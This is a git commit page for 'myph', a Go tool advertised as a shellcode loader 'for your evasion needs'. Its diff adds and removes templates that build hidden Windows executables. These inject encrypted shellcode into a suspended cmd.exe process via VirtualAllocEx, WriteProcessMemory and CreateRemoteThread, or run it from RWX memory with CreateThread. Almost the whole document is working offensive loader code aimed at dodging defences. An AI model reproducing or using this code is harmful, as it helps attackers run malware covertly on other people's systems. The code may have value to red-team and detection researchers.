myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit bac034fc11bda0a4e840b7c18557d78919fb27ed
parent 42d8d71695338b6765825159d2a1bbb2d38c6890
Author: winds0r <[email protected]>
Date: Sun, 23 Jul 2023 16:36:00 +0900

feat(cli): adding support for multiple templates still a bit of work needed for jitter and stuff to be seamlessly added but this is a decent starting point also, took out error checking because i have to check for error message content in order to retrieve the error BUT THEN i have to take system language into account and i dont want to do that lol

Diffstat:
Mcli/defaults.go | 5+++--
Mcli/parser.go | 41++++++++++++++++++++++++-----------------
Mcli/types.go | 46+++++++++++++++++++++++++++++++++++++++++-----
Aloaders/createRemoteThread.go | 110+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aloaders/createThread.go | 62++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dloaders/create_remote_thread.go | 137-------------------------------------------------------------------------------
Aloaders/utils.go | 15+++++++++++++++

7 files changed, 255 insertions(+), 161 deletions(-)

diff --git a/cli/defaults.go b/cli/defaults.go
@@ -8,12 +8,13 @@ import (
 func GetDefaultCLIOptions() Options {
 	opts := Options{
 		ShellcodePath: "msf.raw",
-		Outdir:        "myph-out",
+		OutName:        "myph-out",
 		OS:            "windows",
-		arch:          "amd64",
+		Arch:          "amd64",
 		Target:        "cmd.exe",
 		Encryption:    EncKindAES,
 		Key:           "",
+        Technique:     "CRT",
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -51,7 +51,7 @@ func GetParser(opts *Options) *cobra.Command {
 			fmt.Printf("%s\n\n", ASCII_ART)
 
 			/* later, we will call "go build" on a golang project, so we need to set up the project tree */
-			err := tools.CreateTmpProjectRoot(opts.Outdir)
+			err := tools.CreateTmpProjectRoot(opts.OutName)
 			if err != nil {
 				fmt.Printf("[!] Error generating project root: %s\n", err)
 				os.Exit(1)
@@ -107,7 +107,7 @@ func GetParser(opts *Options) *cobra.Command {
 			}
 
 			/* write decryption routine template */
-			err = tools.WriteToFile(opts.Outdir, "encrypt.go", template)
+			err = tools.WriteToFile(opts.OutName, "encrypt.go", template)
 			if err != nil {
 				panic(err)
 			}
@@ -115,23 +115,28 @@ func GetParser(opts *Options) *cobra.Command {
 			/* write main execution template */
 			encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
 			encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
-			err = tools.WriteToFile(opts.Outdir, "main.go", tools.GetMainTemplate(encType.String(), encodedKey, encodedShellcode))
+			err = tools.WriteToFile(opts.OutName, "main.go", tools.GetMainTemplate(encType.String(), encodedKey, encodedShellcode))
 			if err != nil {
 				panic(err)
 			}
 
-			err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetCRTTemplate(opts.Target))
+			os.Setenv("GOOS", opts.OS)
+			os.Setenv("GOARCH", opts.Arch)
+
+            templateFunc :=  loaders.SelectTemplate(opts.Technique)
+            if templateFunc == nil {
+                fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
+                os.Exit(1)
+            }
+
+			err = tools.WriteToFile(opts.OutName, "exec.go", templateFunc(opts.Target))
 			if err != nil {
 				panic(err)
 			}
 
-			os.Setenv("GOOS", opts.OS)
-			os.Setenv("GOARCH", opts.arch)
-
-			fmt.Printf("\n[+] Template (CRT) written to tmp directory. Compiling...\n")
-
+			fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
 			execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
-			execCmd.Dir = opts.Outdir
+			execCmd.Dir = opts.OutName
 
 			_, stderr := execCmd.Output()
 
@@ -139,9 +144,9 @@ func GetParser(opts *Options) *cobra.Command {
 				fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
 				fmt.Printf(
 					"\nYou may try to run the following command in %s to find out what happend: GOOS=%s GOARCH=%s %s\n\n",
-					opts.Outdir,
+					opts.OutName,
 					opts.OS,
-					opts.arch,
+					opts.Arch,
 					"go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
 				)
 
@@ -149,11 +154,12 @@ func GetParser(opts *Options) *cobra.Command {
 				os.Exit(1)
 			}
 
-			fullpath := fmt.Sprintf("%s/payload.exe", opts.Outdir)
-			finalName := fmt.Sprintf("./%s.exe", opts.Outdir)
+            /* FIXME(djnn): if path is a distant directory, this is will not work */
+			fullpath := fmt.Sprintf("%s/payload.exe", opts.OutName)
+			finalName := fmt.Sprintf("./%s.exe", opts.OutName)
 			tools.MoveFile(fullpath, finalName)
 
-			os.RemoveAll(opts.Outdir)
+			os.RemoveAll(opts.OutName)
 
 			println("[+] Done!")
 		},
@@ -161,11 +167,12 @@ func GetParser(opts *Options) *cobra.Command {
 
 	defaults := GetDefaultCLIOptions()
 
-	cmd.PersistentFlags().StringVarP(&opts.Outdir, "out", "f", defaults.Outdir, "output name")
+	cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
 	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
 	cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+    cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CreateThread)")
 
-	cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
+	cmd.PersistentFlags().StringVarP(&opts.Arch, "arch", "r", defaults.Arch, "architecture compilation target")
 	cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
 
 	cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, RSA, XOR)")
diff --git a/cli/types.go b/cli/types.go
@@ -2,13 +2,23 @@ package cli
 
 import "errors"
 
-// / encryption kind (used for CLI)
+// encryption kind (used for CLI)
 type encKind string
 
+
+// shellcode-loading technique kind (used for CLI)
+type technique string
+
+
 const (
 	EncKindAES encKind = "AES"
 	EncKindXOR encKind = "XOR"
 	EncKindBLF encKind = "Blowfish"
+
+
+	CRT technique = "CRT"
+	CreateThread technique = "CreateThread"
+
 )
 
 // String is used both by fmt.Print and by Cobra in help text
@@ -32,6 +42,29 @@ func (e *encKind) Type() string {
 	return "encKind"
 }
 
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *technique) String() string {
+	return string(*e)
+}
+
+// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *technique) Set(v string) error {
+	switch v {
+	case "CreateThread", "CRT":
+		*e = technique(v)
+		return nil
+	default:
+		return errors.New(`must be one of "CRT" or "CreateThread"`)
+	}
+}
+
+// Type is only used in help text
+func (e *technique) Type() string {
+	return "technique"
+}
+
+
 type Options struct {
 
 	// Shellcode encryption method
@@ -43,15 +76,18 @@ type Options struct {
 	// Shellcode path
 	ShellcodePath string
 
-	// Outdir path
-	Outdir string
+	// OutName path
+	OutName string
 
 	// os compilation target
 	OS string
 
-	// arch compilation target
-	arch string
+	// Arch compilation target
+	Arch string
 
 	// target process name to inject
 	Target string
+
+    // Shellcode loading method
+    Technique string
 }
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -0,0 +1,110 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetCRTTemplate(targetProcess string) string {
+	return fmt.Sprintf(`
+package main
+
+import (
+        "os"
+        "syscall"
+        "unsafe"
+)
+
+
+const (
+    MEM_COMMIT                = 0x1000
+    MEM_RESERVE               = 0x2000
+    PAGE_READWRITE            = 0x4
+    PAGE_EXECUTE_READ         = 0x20
+    PAGE_EXECUTE_READWRITE    = 0x40
+    CREATE_SUSPENDED          = 0x4
+    CREATE_NO_WINDOW          = 0x8000000
+)
+
+var (
+    kernel32            = syscall.MustLoadDLL("kernel32.dll")
+    ntdll               = syscall.MustLoadDLL("ntdll.dll")
+
+    VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
+    VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
+    WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
+    CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
+)
+
+
+func loadProcess(target string) *syscall.ProcessInformation {
+    var si syscall.StartupInfo
+	var pi syscall.ProcessInformation
+
+	commandLine, err := syscall.UTF16PtrFromString(target)
+
+	if err != nil {
+		panic(err)
+	}
+
+    err = syscall.CreateProcess(
+		nil,
+		commandLine,
+		nil,
+		nil,
+		false,
+		CREATE_SUSPENDED | CREATE_NO_WINDOW,
+		nil,
+		nil,
+		&si,
+		&pi)
+
+	if err != nil {
+		panic(err)
+	}
+
+	return &pi
+}
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+    /* spawn target process */
+    process := loadProcess("%s")
+    oldProtectCfg := PAGE_READWRITE
+
+     /* allocating the appropriate amount of memory */
+    baseAddr, _, err := VirtualAllocEx.Call(
+        uintptr(process.Process),
+        0,
+        uintptr(len(shellcode)),
+        MEM_COMMIT | MEM_RESERVE,
+        PAGE_READWRITE,
+    )
+
+    /* overwriting process memory with our shellcode */
+    _, _, _ = WriteProcessMemory.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(unsafe.Pointer(&shellcode[0])),
+        uintptr(len(shellcode)),
+        0,
+    )
+
+    /* changing permissions for our memory segment */
+    _, _, _ = VirtualProtectEx.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(len(shellcode)),
+        PAGE_EXECUTE_READ,
+        uintptr(unsafe.Pointer(&oldProtectCfg)),
+    )
+
+    /* load remote thread */
+    _, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
+    }
+
+    for {}
+}
+    `, targetProcess)
+}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -0,0 +1,62 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetCreateThreadTemplate(targetProcess string) string {
+    var _ = targetProcess // unused in this template
+
+	return fmt.Sprintf(`
+package main
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+	kernel32        = syscall.MustLoadDLL("kernel32.dll")
+	ntdll           = syscall.MustLoadDLL("ntdll.dll")
+
+	VirtualAlloc    = kernel32.MustFindProc("VirtualAlloc")
+	RtlCopyMemory   = ntdll.MustFindProc("RtlCopyMemory")
+	CreateThread    = kernel32.MustFindProc("CreateThread")
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+	addr, _, _ := VirtualAlloc.Call(
+		0,
+		uintptr(len(shellcode)),
+		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+	)
+
+	_, _, _ = RtlCopyMemory.Call(
+		addr,
+		(uintptr)(unsafe.Pointer(&shellcode[0])),
+		uintptr(len(shellcode)),
+	)
+
+	// jump to shellcode
+	_, _, err = CreateThread.Call(
+		0,    // [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
+		0,    // [in]            SIZE_T                  dwStackSize,
+		addr, // shellcode address
+		0,    // [in, optional]  __drv_aliasesMem LPVOID lpParameter,
+		0,    // [in]            DWORD                   dwCreationFlags,
+		0,    // [out, optional] LPDWORD                 lpThreadId
+	)
+
+	for {
+	}
+}
+    `,)
+}
diff --git a/loaders/create_remote_thread.go b/loaders/create_remote_thread.go
@@ -1,137 +0,0 @@
-package loaders
-
-import (
-	"fmt"
-)
-
-func GetCRTTemplate(targetProcess string) string {
-	return fmt.Sprintf(`
-package main
-
-import (
-        "os"
-        "syscall"
-        "unsafe"
-        "strings"
-        "strconv"
-)
-
-
-const (
-    MEM_COMMIT                = 0x1000
-    MEM_RESERVE               = 0x2000
-    PAGE_READWRITE            = 0x4
-    PAGE_EXECUTE_READ         = 0x20
-    PAGE_EXECUTE_READWRITE    = 0x40
-    CREATE_SUSPENDED          = 0x4
-    CREATE_NO_WINDOW          = 0x8000000
-)
-
-var (
-    kernel32            = syscall.MustLoadDLL("kernel32.dll")
-    ntdll               = syscall.MustLoadDLL("ntdll.dll")
-
-    VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
-    VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
-    WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
-    CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
-)
-
-
-func StringBytesParseString(byteString string) (string, error) {
-    byteString = strings.TrimSuffix(byteString, "]")
-    byteString = strings.TrimLeft(byteString, "[")
-    sByteString := strings.Split(byteString, " ")
-    var res []byte
-    for _, s := range sByteString {
-        i, err := strconv.ParseUint(s, 10, 64)
-        if err != nil {
-            return "", err
-        }
-        res = append(res, byte(i))
-    }
-
-    return string(res), nil
-}
-
-func loadProcess(target string) *syscall.ProcessInformation {
-    var si syscall.StartupInfo
-	var pi syscall.ProcessInformation
-
-	commandLine, err := syscall.UTF16PtrFromString(target)
-
-	if err != nil {
-		panic(err)
-	}
-
-    err = syscall.CreateProcess(
-		nil,
-		commandLine,
-		nil,
-		nil,
-		false,
-		CREATE_SUSPENDED | CREATE_NO_WINDOW,
-		nil,
-		nil,
-		&si,
-		&pi)
-
-	if err != nil {
-		panic(err)
-	}
-
-	return &pi
-}
-
-func ExecuteOrderSixtySix(shellcode []byte) {
-
-    /* spawn target process */
-    process := loadProcess("%s")
-    oldProtectCfg := PAGE_READWRITE
-
-     /* allocating the appropriate amount of memory */
-    baseAddr, _, err := VirtualAllocEx.Call(
-        uintptr(process.Process),
-        0,
-        uintptr(len(shellcode)),
-        MEM_COMMIT | MEM_RESERVE,
-        PAGE_READWRITE,
-    )
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* overwriting process memory with our shellcode */
-    _, _, err = WriteProcessMemory.Call(
-        uintptr(process.Process),
-        baseAddr,
-        uintptr(unsafe.Pointer(&shellcode[0])),
-        uintptr(len(shellcode)),
-        0,
-    )
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* changing permissions for our memory segment */
-    _, _, err = VirtualProtectEx.Call(
-        uintptr(process.Process),
-        baseAddr,
-        uintptr(len(shellcode)),
-        PAGE_EXECUTE_READ,
-        uintptr(unsafe.Pointer(&oldProtectCfg)),
-    )
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* load remote thread */
-    _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    for {}
-}
-    `, targetProcess)
-}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -0,0 +1,15 @@
+package loaders
+
+func SelectTemplate(templateName string) func(string) string {
+
+    switch templateName {
+    case "CRT":
+        return GetCRTTemplate
+
+    case "CreateThread":
+        return GetCreateThreadTemplate
+
+    }
+
+    return nil
+}